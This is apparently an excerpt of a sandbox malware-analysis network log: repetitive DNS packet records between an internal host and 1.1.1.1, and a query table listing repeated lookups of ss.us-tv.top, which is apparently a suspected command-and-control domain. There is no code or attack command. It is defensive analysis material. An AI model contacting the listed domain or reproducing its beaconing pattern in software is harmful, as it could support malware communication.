Nov 2, 2024 04:01:41.930130959 CET	53	38780	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:41.930203915 CET	38780	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:41.935398102 CET	53	50804	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:41.936708927 CET	53	38780	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:42.950377941 CET	39585	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:42.954062939 CET	33971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:42.957532883 CET	53	39585	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:42.957629919 CET	39585	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:42.961218119 CET	53	33971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:42.961301088 CET	33971	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:42.964278936 CET	53	39585	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:42.968018055 CET	53	33971	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:43.980074883 CET	42823	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:43.981370926 CET	59106	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:43.986974001 CET	53	42823	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:43.987071991 CET	42823	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:43.993926048 CET	53	42823	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:44.070126057 CET	53	59106	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:44.070624113 CET	59106	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:44.077301025 CET	53	59106	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.084423065 CET	43256	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.085752964 CET	36176	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.091404915 CET	53	43256	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.091480970 CET	43256	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.092802048 CET	53	36176	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.092860937 CET	36176	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:45.097984076 CET	53	43256	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:45.099323034 CET	53	36176	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.240367889 CET	40198	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.240556002 CET	52567	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.247098923 CET	53	52567	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.247179985 CET	52567	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.247291088 CET	53	40198	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.247347116 CET	40198	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:46.253698111 CET	53	52567	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:46.253916025 CET	53	40198	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:47.397048950 CET	56556	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:47.399334908 CET	42108	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:47.404319048 CET	53	56556	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:47.404396057 CET	56556	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:47.406296015 CET	53	42108	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:47.406358957 CET	42108	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:47.411235094 CET	53	56556	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:47.413062096 CET	53	42108	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:48.425494909 CET	59945	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:48.427520990 CET	51850	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:48.433101892 CET	53	59945	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:48.433186054 CET	59945	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:48.435385942 CET	53	51850	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:48.435451031 CET	51850	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:48.440403938 CET	53	59945	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:48.442343950 CET	53	51850	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:49.453649044 CET	48944	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:49.454251051 CET	60338	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:49.460774899 CET	53	48944	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:49.460870981 CET	48944	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:49.461159945 CET	53	60338	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:49.461219072 CET	60338	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:49.467602015 CET	53	48944	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:49.467616081 CET	53	60338	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:50.477374077 CET	58492	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:50.480026007 CET	50510	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:50.485358953 CET	53	58492	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:50.485470057 CET	58492	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:50.487035036 CET	53	50510	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:50.487107038 CET	50510	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:50.492996931 CET	53	58492	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:50.494741917 CET	53	50510	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:51.503371954 CET	44741	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:51.504966021 CET	41048	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:51.510593891 CET	53	44741	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:51.510679007 CET	44741	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:51.512022972 CET	53	41048	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:51.512078047 CET	41048	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:51.517127037 CET	53	44741	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:51.518631935 CET	53	41048	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:52.527277946 CET	56512	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:52.527462959 CET	38624	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:52.534611940 CET	53	56512	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:52.534642935 CET	53	38624	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:52.534698009 CET	56512	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:52.534725904 CET	38624	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:52.541462898 CET	53	56512	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:52.541507959 CET	53	38624	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:53.550776958 CET	45790	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:53.553834915 CET	51697	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:53.557663918 CET	53	45790	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:53.557742119 CET	45790	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:53.560914993 CET	53	51697	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:53.560981989 CET	51697	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:53.564271927 CET	53	45790	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:53.567564964 CET	53	51697	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:54.575643063 CET	42328	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:54.577750921 CET	47871	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:54.584839106 CET	53	47871	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:54.584940910 CET	47871	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:54.591445923 CET	53	47871	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:54.666959047 CET	53	42328	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:54.667262077 CET	42328	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:54.674077988 CET	53	42328	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:55.683047056 CET	39729	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:55.686291933 CET	46734	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:55.690013885 CET	53	39729	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:55.690094948 CET	39729	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:55.693137884 CET	53	46734	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:55.693202019 CET	46734	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:55.696939945 CET	53	39729	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:55.703376055 CET	53	46734	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:56.711592913 CET	41763	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.712831020 CET	59981	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.718565941 CET	53	41763	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:56.718652964 CET	41763	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.720007896 CET	53	59981	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:56.720068932 CET	59981	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:56.725003958 CET	53	41763	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:56.726504087 CET	53	59981	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:57.736129045 CET	33187	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:57.737368107 CET	53634	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:57.743359089 CET	53	33187	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:57.743438959 CET	33187	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:57.744306087 CET	53	53634	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:57.744370937 CET	53634	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:57.750039101 CET	53	33187	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:57.750885010 CET	53	53634	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:58.763117075 CET	33739	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:58.766980886 CET	43339	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:58.774252892 CET	53	43339	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:58.774342060 CET	43339	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:58.781019926 CET	53	43339	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:58.855288029 CET	53	33739	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:58.855457067 CET	33739	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:58.862654924 CET	53	33739	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:59.875602961 CET	43270	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:59.879405022 CET	44573	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:59.882711887 CET	53	43270	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:59.882800102 CET	43270	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:59.886841059 CET	53	44573	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:59.886907101 CET	44573	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:01:59.889431953 CET	53	43270	1.1.1.1	192.168.2.13
Nov 2, 2024 04:01:59.897525072 CET	53	44573	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:00.909936905 CET	37066	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:00.913233995 CET	39239	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:00.917026997 CET	53	37066	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:00.917184114 CET	37066	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:00.920119047 CET	53	39239	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:00.920212030 CET	39239	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:00.924176931 CET	53	37066	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:00.927052021 CET	53	39239	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:01.933754921 CET	49851	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:01.933873892 CET	39894	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:01.940689087 CET	53	39894	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:01.940792084 CET	39894	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:01.940928936 CET	53	49851	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:01.940987110 CET	49851	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:01.947545052 CET	53	39894	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:01.947734118 CET	53	49851	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:02.957006931 CET	33737	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:02.957132101 CET	34263	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:02.963850975 CET	53	33737	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:02.963957071 CET	33737	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:02.964112997 CET	53	34263	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:02.964179993 CET	34263	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:02.970520973 CET	53	33737	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:02.970745087 CET	53	34263	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:03.980223894 CET	35876	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:03.980429888 CET	45579	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:03.987546921 CET	53	35876	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:03.987633944 CET	35876	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:03.994123936 CET	53	35876	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:04.083446980 CET	53	45579	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:04.083683014 CET	45579	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:04.090219021 CET	53	45579	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:05.653327942 CET	53081	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:05.653604031 CET	54147	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:05.660492897 CET	53	53081	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:05.660578012 CET	53081	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:05.660953045 CET	53	54147	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:05.661007881 CET	54147	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:05.667398930 CET	53	53081	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:05.667834997 CET	53	54147	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:06.676419973 CET	46569	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:06.678694010 CET	50168	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:06.683628082 CET	53	46569	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:06.683711052 CET	46569	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:06.685981035 CET	53	50168	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:06.686043024 CET	50168	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:06.690395117 CET	53	46569	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:06.693268061 CET	53	50168	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:07.700320005 CET	44083	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:07.700531006 CET	35221	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:07.707649946 CET	53	44083	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:07.707726955 CET	44083	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:07.708058119 CET	53	35221	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:07.708112955 CET	35221	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:07.714437008 CET	53	44083	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:07.714770079 CET	53	35221	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:08.723372936 CET	43942	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:08.724308014 CET	54210	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:08.730400085 CET	53	43942	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:08.730479002 CET	43942	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:08.731185913 CET	53	54210	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:08.731239080 CET	54210	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:08.736999989 CET	53	43942	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:08.737843037 CET	53	54210	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:09.749377012 CET	57532	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:09.749763012 CET	52456	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:09.756386995 CET	53	57532	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:09.756498098 CET	57532	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:09.757035971 CET	53	52456	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:09.757102013 CET	52456	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:09.763164997 CET	53	57532	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:09.763664007 CET	53	52456	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:10.772665977 CET	47544	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:10.773075104 CET	48301	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:10.780458927 CET	53	47544	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:10.780472994 CET	53	48301	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:10.780617952 CET	47544	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:10.780646086 CET	48301	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:10.787514925 CET	53	47544	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:10.787576914 CET	53	48301	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:11.799571991 CET	39850	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:11.800646067 CET	54219	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:11.806943893 CET	53	39850	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:11.807058096 CET	39850	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:11.807861090 CET	53	54219	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:11.807935953 CET	54219	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:11.815051079 CET	53	39850	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:11.815062046 CET	53	54219	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:12.828974962 CET	39501	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.829205036 CET	58242	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.835958958 CET	53	58242	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:12.836071014 CET	58242	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.836146116 CET	53	39501	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:12.836215973 CET	39501	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:12.842663050 CET	53	58242	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:12.842920065 CET	53	39501	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:14.249562025 CET	47325	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:14.249743938 CET	44341	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:14.256681919 CET	53	47325	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:14.256804943 CET	47325	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:14.256903887 CET	53	44341	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:14.256969929 CET	44341	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:14.263667107 CET	53	44341	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:14.263746023 CET	53	47325	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:15.275252104 CET	34989	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:15.277570963 CET	57488	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:15.283026934 CET	53	34989	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:15.283112049 CET	34989	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:15.284887075 CET	53	57488	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:15.284951925 CET	57488	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:15.290127993 CET	53	34989	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:15.291624069 CET	53	57488	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:16.300898075 CET	34052	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:16.301076889 CET	45803	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:16.308032036 CET	53	45803	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:16.308139086 CET	53	34052	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:16.308176041 CET	45803	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:16.308217049 CET	34052	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:16.314971924 CET	53	34052	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:16.315376043 CET	53	45803	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:17.325175047 CET	37170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:17.328411102 CET	38238	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:17.332282066 CET	53	37170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:17.332374096 CET	37170	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:17.334965944 CET	53	38238	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:17.335033894 CET	38238	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:17.338998079 CET	53	37170	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:17.341906071 CET	53	38238	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:18.350233078 CET	41840	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:18.351345062 CET	54007	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:18.358212948 CET	53	41840	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:18.358305931 CET	41840	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:18.358779907 CET	53	54007	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:18.358846903 CET	54007	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:18.364881039 CET	53	41840	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:18.365494013 CET	53	54007	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:19.372740984 CET	39966	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:19.373158932 CET	49264	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:19.380060911 CET	53	39966	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:19.380168915 CET	39966	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:19.380448103 CET	53	49264	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:19.380522013 CET	49264	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:19.386976004 CET	53	39966	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:19.387248039 CET	53	49264	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.400269985 CET	40937	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.402709961 CET	56598	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.407644987 CET	53	40937	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.407732964 CET	40937	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.410661936 CET	53	56598	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.410732031 CET	56598	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:20.414253950 CET	53	40937	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:20.417383909 CET	53	56598	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:21.794873953 CET	36943	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:21.798609018 CET	39781	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:21.802130938 CET	53	36943	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:21.802223921 CET	36943	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:21.805757046 CET	53	39781	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:21.805820942 CET	39781	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:21.808778048 CET	53	36943	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:21.812473059 CET	53	39781	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:22.824621916 CET	45967	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:22.828100920 CET	32941	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:22.832456112 CET	53	45967	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:22.832552910 CET	45967	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:22.834660053 CET	53	32941	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:22.834729910 CET	32941	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:22.839337111 CET	53	45967	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:22.841300964 CET	53	32941	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:23.849020958 CET	50557	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:23.852292061 CET	57229	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:23.856405020 CET	53	50557	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:23.856478930 CET	50557	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:23.858853102 CET	53	57229	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:23.858915091 CET	57229	53	192.168.2.13	1.1.1.1
Nov 2, 2024 04:02:23.863333941 CET	53	50557	1.1.1.1	192.168.2.13
Nov 2, 2024 04:02:23.865688086 CET	53	57229	1.1.1.1	192.168.2.13

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 2, 2024 04:00:29.328685045 CET	192.168.2.13	1.1.1.1	0x712a	Standard query (0)	www.google.com	28	IN (0x0001)	false
Nov 2, 2024 04:00:29.334534883 CET	192.168.2.13	1.1.1.1	0xcabf	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:29.361829042 CET	192.168.2.13	1.1.1.1	0xa4cb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:29.365037918 CET	192.168.2.13	1.1.1.1	0x5d90	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:29.369118929 CET	192.168.2.13	1.1.1.1	0xa4cb	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:29.372133017 CET	192.168.2.13	1.1.1.1	0x5d90	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:29.383776903 CET	192.168.2.13	1.1.1.1	0x5d90	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.055942059 CET	192.168.2.13	1.1.1.1	0xad8d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:31.056000948 CET	192.168.2.13	1.1.1.1	0x39e4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.063185930 CET	192.168.2.13	1.1.1.1	0x39e4	Standard query (0)	ss.us-tv.top	A (IP address)	IN (0x0001)	false
Nov 2, 2024 04:00:31.063918114 CET	192.168.2.13	1.1.1.1	0xad8d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:31.071271896 CET	192.168.2.13	1.1.1.1	0xad8d	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
Nov 2, 2024 04:00:32.436165094 CET	192.168.2.13	1.1.1.1	0xfac1	Standard query (0)	ss.us-tv.top	28	IN (0x0001)	false
